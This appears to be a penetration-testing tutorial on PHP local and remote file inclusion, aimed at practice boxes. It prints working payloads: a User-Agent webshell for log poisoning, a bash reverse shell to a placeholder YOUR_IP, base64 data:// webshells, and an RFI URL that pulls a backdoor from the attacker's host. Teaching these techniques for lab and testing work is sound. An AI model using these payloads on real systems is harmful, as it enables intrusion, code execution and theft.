File Inclusion

Read vs Execute

Directory traversal lets you read a file. File inclusion lets you execute it.

When a PHP application uses include() with user-controlled input, it doesn’t just display the file. It runs it as code.

Directory TraversalFile Inclusion
?page=admin.phpShows the source codeRuns the PHP code
?page=/etc/passwdShows the contentsShows the contents (no PHP to run)
GoalInformation disclosureCode execution

File inclusion is directory traversal with a code execution upgrade. Same ../ technique, dramatically different impact.


Local File Inclusion (LFI)

LFI means including a file that already exists on the server and having it execute as code.

The question is: if you can’t upload files, how do you get your code onto the server?

There are three main approaches:

  1. Log poisoning - inject code into a log file, then include it
  2. PHP wrappers - use built-in PHP protocols to inject or read code
  3. Remote file inclusion - include a file from your server

Log Poisoning

Apache logs every HTTP request, including the User-Agent header. That header is fully controlled by you.

The log file lives at /var/log/apache2/access.log. The web server can read it. If the web server can also include it…


Step 1: Poison the Log

In Burp Repeater, modify the User-Agent header to contain PHP code:

User-Agent: <?php echo system($_GET['cmd']); ?>

Send the request. Apache writes this to access.log. Your PHP code is now sitting in a file on the server.


Step 2: Include the Log

Use the LFI vulnerability to include the poisoned log:

?page=../../../../var/log/apache2/access.log&cmd=id

When the server includes access.log, it hits the <?php tag and executes it. The cmd parameter runs id and returns the output.


Step 3: Get a Shell

Once you have command execution, upgrade to a reverse shell:

?page=../../../../var/log/apache2/access.log&cmd=bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'

URL-encode special characters if the raw payload doesn’t work.


Log Poisoning Pitfalls

Watch out for these:

  • One shot. If your injected PHP has a syntax error, the log is broken. Every future include will fail. Be precise.
  • Remove the User-Agent after poisoning. If you keep sending requests with the PHP tag, you get multiple copies in the log causing multiple executions.
  • Other logs work too. SSH logs (/var/log/auth.log), mail logs, and error logs are all potential targets.

Poison carefully. A broken PHP tag in the log can ruin the entire attack vector. Test your payload syntax before injecting.


PHP Wrappers

PHP has built-in stream wrappers that change how files are accessed. Two are critical for pentesting.


php://filter

Reads a file with optional encoding. This lets you view PHP source code that would normally be executed.

?page=php://filter/convert.base64-encode/resource=admin.php
  • Without the filter: admin.php gets executed, you see HTML output
  • With convert.base64-encode: server returns the raw source as base64

Decode it:

echo "PCFET0NUWVBFIGh0bWw..." | base64 -d

What you find in source code:

  • Hardcoded database credentials (connection strings, passwords)
  • API keys and secrets
  • Application logic flaws (authentication bypasses, hidden parameters)
  • Other included files worth investigating

php://filter is your source code reader. Even when you can’t get direct code execution, reading the source often reveals credentials that give you access anyway.


data://

Embeds data directly into the include. This lets you execute arbitrary PHP without any file on disk.

Simple execution:

?page=data://text/plain,<?php echo system('ls');?>

Base64 encoded (bypasses filters that block system or <?php):

# Encode the payload
echo -n '<?php echo system($_GET["cmd"]);?>' | base64

Then use it:

?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=whoami

Important: data:// requires allow_url_include = On in php.ini. This is disabled by default, but misconfigurations exist.


Remote File Inclusion (RFI)

Instead of finding a file on the target to include, you include a file from your own server. No log poisoning. No wrappers. Just host the payload and the target fetches it.


The Attack

1. Host a webshell on your machine:

# Kali has webshells at /usr/share/webshells/php/
python3 -m http.server 80

2. Include it via the vulnerable parameter:

?page=http://YOUR_IP/simple-backdoor.php&cmd=whoami

The target server fetches your file over HTTP and executes it. Instant RCE without needing log poisoning or encoding tricks.


Requirements

RFI requires allow_url_include = On in php.ini. This is disabled by default, making RFI less common than LFI.

But when it works, it’s the fastest path to a shell:

  • No file creation needed
  • No log poisoning
  • No encoding tricks
  • Works on first try

Always test for RFI before trying complex LFI chains. If allow_url_include is on, you save yourself a lot of work.


LFI on Windows

The concepts are identical, but paths differ:

WhatLinuxWindows
Apache logs/var/log/apache2/access.logC:\xampp\apache\logs\access.log
Web root/var/www/html/C:\inetpub\wwwroot\ or C:\xampp\htdocs\
Config/etc/php/php.iniC:\xampp\php\php.ini

The PHP webshell code works the same on both operating systems. For reverse shells on Windows, use PowerShell instead of bash.


Beyond PHP

File inclusion isn’t PHP-only. The same concept exists in other server-side languages:

LanguageInclude mechanism
PHPinclude(), require(), include_once()
JSP<jsp:include>, <c:import>
ASPResponse.WriteFile(), Server.Execute()
Node.jsrequire(), fs.readFile()

The exploitation technique is the same: find user-controlled input that gets passed to a file inclusion function. PHP is just the most common target because older PHP apps are everywhere.


Testing Checklist

  1. Find file parameters in URLs, POST data, and cookies
  2. Test for directory traversal first (../../../../etc/passwd)
  3. Check if it’s LFI: include a known PHP file. Does it execute or show source?
  4. Try php://filter to read application source code
  5. Try data:// for direct code injection (needs allow_url_include)
  6. Try RFI by including a file from your server (needs allow_url_include)
  7. If wrappers fail, try log poisoning (User-Agent into access.log)
  8. Get a reverse shell once you have command execution

Work from easiest to hardest. RFI is instant. data:// is quick. Log poisoning takes more setup. Try them in that order.


Practice Boxes

  • Beep - LFI in a CRM app leaks credentials leading to root
  • Nineveh - LFI with a keyword bypass leading to code execution
  • Poison - LFI reads an encoded password file leading to SSH access
  • Inclusion - Dedicated LFI and path traversal challenges
  • File Inclusion - Covers LFI, RFI, and directory traversal